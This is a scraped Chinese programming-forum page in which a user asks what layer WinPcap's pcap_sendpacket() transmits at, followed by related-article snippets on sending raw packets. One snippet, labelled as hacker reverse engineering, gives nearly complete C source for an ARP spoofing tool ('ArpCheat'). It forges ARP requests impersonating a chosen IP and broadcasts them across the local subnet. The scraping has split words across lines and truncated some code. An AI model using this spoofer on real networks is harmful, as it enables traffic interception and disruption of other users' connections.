社区
网络编程
帖子详情
winpcap pcap_sendpacket()发送的是IP数据包,还是MAC桢?
guangmingdeshenju
2011-05-13 08:42:06
如题。。。
这个函数到底 发送的 是 那层数据包哦?
怎么有的 在 填 MAC源目地址,有的又在 写ip源目地址哦?
。。。。
...全文
194
3
打赏
收藏
winpcap pcap_sendpacket()发送的是IP数据包,还是MAC桢?
如题。。。 这个函数到底 发送的 是 那层数据包哦? 怎么有的 在 填 MAC源目地址,有的又在 写ip源目地址哦? 。。。。
复制链接
扫一扫
分享
转发到动态
举报
写回复
配置赞助广告
用AI写文章
3 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
guangmingdeshenju
2011-05-13
打赏
举报
回复
又没人理了哦。。。
guangmingdeshenju
2011-05-13
打赏
举报
回复
控制IP包,如何 实现的。。。。
就是 截获了,再修改它。。
oyljerry
2011-05-13
打赏
举报
回复
能支持MAC帧, 当然也可以用IP包,如果你不想控制MAC层的话
黑客反向工程
//ArpCheat.h #ifndef MY_ARP_CHEAT_INCLUDE_H #define MY_ARP_CHEAT_INCLUDE_H //字节对齐必须是1 #pragma pack (1) struct ethernet_head { unsigned char dest_
mac
[6]; //目标主机
MAC
地址 unsigned char source_
mac
[6]; //源端
MAC
地址 unsigned short eh_type; //以太网类型 }; struct arp_head { unsigned short hardware_type; //硬件类型:以太网接口类型为1 unsigned short protocol_type; //协议类型:
IP
协议类型为0X0800 unsigned char add_len; //硬件地址长度:
MAC
地址长度为6B unsigned char pro_len; //协议地址长度:
IP
地址长度为4B unsigned short option; //操作:ARP请求为1,ARP应答为2 unsigned char sour_addr[6]; //源
MAC
地址:
发送
方的
MAC
地址 unsigned long sour_
ip
; //源
IP
地址:
发送
方的
IP
地址 unsigned char dest_addr[6]; //目的
MAC
地址:ARP请求中该字段没有意义;ARP响应中为接收方的
MAC
地址 unsigned long dest_
ip
; //目的
IP
地址:ARP请求中为请求解析的
IP
地址;ARP响应中为接收方的
IP
地址 unsigned char padding[18]; }; struct arp_
packet
//最终arp包结构 { ethernet_head eth; //以太网头部 arp_head arp; //arp
数据包
头部 }; #pragma pack () /** * 获得网卡的
MAC
地址 * pDevName 网卡的设备名称 */ unsigned char* GetSelf
Mac
(char* pDevName); /** * 封装ARP请求包 * source_
mac
源
MAC
地址 * src
IP
源
IP
* dest
IP
目的
IP
*/ unsigned char* BuildArp
Packet
(unsigned char* source_
mac
, unsigned long src
IP
, unsigned long dest
IP
); #endif //ArpCheat.cpp #include
#include <
pcap
.h> #include
#include <
packet
32.h> #include
#include "ArpCheat.h" int main(int argc,char* argv[]){
pcap
_if_t *alldevs; //全部网卡列表
pcap
_if_t *d; //一个网卡 int inum; //用户选择的网卡序号 int i=0; //循环变量
pcap
_t *adhandle; //一个
pcap
实例 char errbuf[
PCAP
_ERRBUF_SIZE]; //错误缓冲区 unsigned char *
mac
; //本机
MAC
地址 unsigned char *
packet
; //ARP包 unsigned long fake
Ip
; //要伪装成的
IP
地址
pcap
_addr_t *pAddr; //网卡地址 unsigned long
ip
; //
IP
地址 unsigned long netmask; //子网掩码 if(argc!=2){ printf("Usage: %s inet_addr\n",argv[0]); return -1; } //从参数列表获得要伪装的
IP
地址 fake
Ip
= inet_addr(argv[1]); if(INADDR_NONE==fake
Ip
){ fprintf(stderr,"Invalid
IP
: %s\n",argv[1]); return -1; } /* 获得本机网卡列表 */ if (
pcap
_findalldevs_ex(
PCAP
_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1) { fprintf(stderr,"Error in
pcap
_findalldevs: %s\n", errbuf); exit(1); } /* 打印网卡列表 */ for(d=alldevs; d; d=d->next) { printf("%d", ++i); if (d->descr
ip
tion) printf(". %s\n", d->descr
ip
tion); else printf(". No descr
ip
tion available\n"); } //如果没有发现网卡 if(i==0) { printf("\nNo interfaces found! Make sure
Win
Pcap
is installed.\n"); return -1; } //请用户选择一个网卡 printf("Enter the interface number (1-%d):",i); scanf("%d", &inum); //如果用户选择的网卡序号超出有效范围,则退出 if(inum < 1 || inum > i) { printf("\nInterface number out of range.\n"); /* Free the device list */
pcap
_freealldevs(alldevs); return -1; } /* 移动指针到用户选择的网卡 */ for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
mac
= GetSelf
Mac
(d->name+8); //+8以去掉"r
pcap
://" printf("
发送
ARP欺骗包,本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s\n",
mac
[0],
mac
[1],
mac
[2],
mac
[3],
mac
[4],
mac
[5],argv[1]); /* 打开网卡 */ if ( (adhandle=
pcap
_open(d->name, // name of the device 65536, // portion of the
packet
to capture 0, //open flag 1000, // read timeout NULL, // authentication on the remote
mac
hine errbuf // error buffer ) ) == NULL) { fprintf(stderr,"\nUnable to open the adapter. %s is not supported by
Win
Pcap
\n", d->name); /* Free the device list */
pcap
_freealldevs(alldevs); return -1; } for(pAddr=d->addresses; pAddr; pAddr=pAddr->next){ //得到用户选择的网卡的一个
IP
地址
ip
= ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr; //得到该
IP
地址对应的子网掩码 netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr; if (!
ip
|| !netmask){ continue; } //看看这个
IP
和要伪装的
IP
是否在同一个子网 if((
ip
&netmask)!=(fake
Ip
&netmask)){ continue; //如果不在一个子网,继续遍历地址列表 } unsigned long netsize = ntohl(~netmask); //网络中主机数 unsigned long net =
ip
& netmask; //子网地址 for(unsigned long n=1; n
IP地址,网络字节顺序 unsigned long dest
Ip
= net | htonl(n); //构建假的ARP请求包,达到本机伪装成给定的
IP
地址的目的
packet
= BuildArp
Packet
(
mac
,fake
Ip
,dest
Ip
); if(
pcap
_
send
packet
(adhandle,
packet
, 60)==-1){ fprintf(stderr,"
pcap
_
send
packet
error.\n"); } } } return 0; } /** * 获得网卡的
MAC
地址 * pDevName 网卡的设备名称 */ unsigned char* GetSelf
Mac
(char* pDevName){ static u_char
mac
[6]; memset(
mac
,0,sizeof(
mac
)); LPADAPTER lpAdapter =
Packet
OpenAdapter(pDevName); if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) { return NULL; } P
PACKET
_OID_DATA OidData = (P
PACKET
_OID_DATA)malloc(6 + sizeof(
PACKET
_OID_DATA)); if (OidData == NULL) {
Packet
CloseAdapter(lpAdapter); return NULL; } // // Retrieve the adapter
MAC
querying the NIC driver // OidData->Oid = OID_802_3_CURRENT_ADDRESS; OidData->Length = 6; memset(OidData->Data, 0, 6); BOOLEAN Status =
Packet
Request(lpAdapter, FALSE, OidData); if(Status) { memcpy(
mac
,(u_char*)(OidData->Data),6); } free(OidData);
Packet
CloseAdapter(lpAdapter); return
mac
; } /** * 封装ARP请求包 * source_
mac
源
MAC
地址 * src
IP
源
IP
* dest
IP
目的
IP
*/ unsigned char* BuildArp
Packet
(unsigned char* source_
mac
, unsigned long src
IP
,unsigned long dest
IP
) { static struct arp_
packet
packet
; //目的
MAC
地址为广播地址,FF-FF-FF-FF-FF-FF memset(
packet
.eth.dest_
mac
,0xFF,6); //源
MAC
地址 memcpy(
packet
.eth.source_
mac
,source_
mac
,6); //上层协议为ARP协议,0x0806
packet
.eth.eh_type = htons(0x0806); //硬件类型,Ethernet是0x0001
packet
.arp.hardware_type = htons(0x0001); //上层协议类型,
IP
为0x0800
packet
.arp.protocol_type = htons(0x0800); //硬件地址长度:
MAC
地址长度为0x06
packet
.arp.add_len = 0x06; //协议地址长度:
IP
地址长度为0x04
packet
.arp.pro_len = 0x04; //操作:ARP请求为1
packet
.arp.option = htons(0x0001); //源
MAC
地址 memcpy(
packet
.arp.sour_addr,source_
mac
,6); //源
IP
地址
packet
.arp.sour_
ip
= src
IP
; //目的
MAC
地址,填充0 memset(
packet
.arp.dest_addr,0,6); //目的
IP
地址
packet
.arp.dest_
ip
= dest
IP
; //填充数据,18B memset(
packet
.arp.padding,0,18); return (unsigned char*)&
packet
; } VC++ 6.0 中使用
Win
Pcap
下载并安装
Win
Pcap
,安装之后在目录”C:\
WIN
DOWS\system32“下
Win
Pcap
添加了
Packet
.dll、w
pcap
.dll。 增加
Win
Pcap
的include和lib路径: Tools→Options→Directories,其中include文件的路径增加
Win
Pcap
的include路径(其中有
pcap
.h等头文件),library文件的路径增加
Win
Pcap
的lib路径(其中有
Packet
.lib和w
pcap
.lib)。 增加项目的静态链接库: Project→Settings→Link→Object/library Modules,在文本框的末尾添加”w
pcap
.lib
packet
.lib ws2_32.lib“。 增加预编译信息: Project→Settings→C/C++→Preprocessor definitions,在文本框的末尾添加”W
PCAP
,HAVE_REMOTE“。
Win
Pcap
发送
数据包
一、前言 尽管
Win
Pcap
从名字上来看表明他的主要目的是捕获
数据包
,但是他还为原始网络提供了一些其他的功能,其中之一就是用户可以
发送
数据包
,这也就是本节的主要内容。需要指出的是原来的lib
pcap
并不提供
数据包
的
发送
功能,这里所说的功能都是
Win
Pcap
的扩展功能,所以并不能够工作在UNIX下。 二、代码详解 用
pcap
_
send
packet
()来
发送
一个
数据包
,这个函数需要参数: 一个装有要
发送
数据的缓冲区; 要
发送
的长度; 一个适配器; 注意缓冲区中的数据将不被内核协议处理,只是作为最原始的数
Win
Pcap
学习(九)
发送
数据包
原始的libcap库是不支持
发送
数据包
的,因此,这是属于
Win
Pcap
的扩展。 使用
pcap
_
send
packet
()
发送
单个
数据包
打开适配器以后,调用
pcap
_
send
packet
()来
发送
手工制作的
数据包
。
pcap
_
send
packet
()的参数有一个要包涵
发送
数据的缓冲区,缓冲的长度,以及用来
发送
数据的适配器。注意,缓冲数据将直接
发送
到网络,而不会进行任何加工和处理。这就意味着应用程序...
win
pcap
使用:
发送
数据包
发送
数据包
是
win
pcap
的扩展功能,并不是lib
pcap
本身具备的,所以不能工作在Linux下。利用
pcap
_
send
packet
()函数可以
发送
单个
数据包
,其函数原型为: int
pcap
_
send
packet
(
pcap
_t * p, u_char * buf, int size ) 说明:该函数可以
发送
一个原始
数据包
到网络上。buf包含要
发送
到网络上的
数据包
的数据(包括协议头)。返回
Win
pcap
网络编程八之
Win
pcap
学习教程,发包,发包!
时间问题, 使用
pcap
_
send
packet
()
发送
单个
数据包
下面的代码展示了
发送
一个
数据包
的最简单的方式。打开适配器以后,调用
pcap
_
send
packet
() 来
发送
手工制作的
数据包
。
pcap
_
send
packet
() 的参数有一个要包涵
发送
数据的缓冲区,缓冲的长度,以及用来
发送
数据的适配器。注意,缓冲数据将直接
发送
到网络,而不会进行任何加工和处理。这就意味着应用程
网络编程
18,356
社区成员
64,214
社区内容
发帖
与我相关
我的任务
网络编程
VC/MFC 网络编程
复制链接
扫一扫
分享
社区描述
VC/MFC 网络编程
c++
c语言
开发语言
技术论坛(原bbs)
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章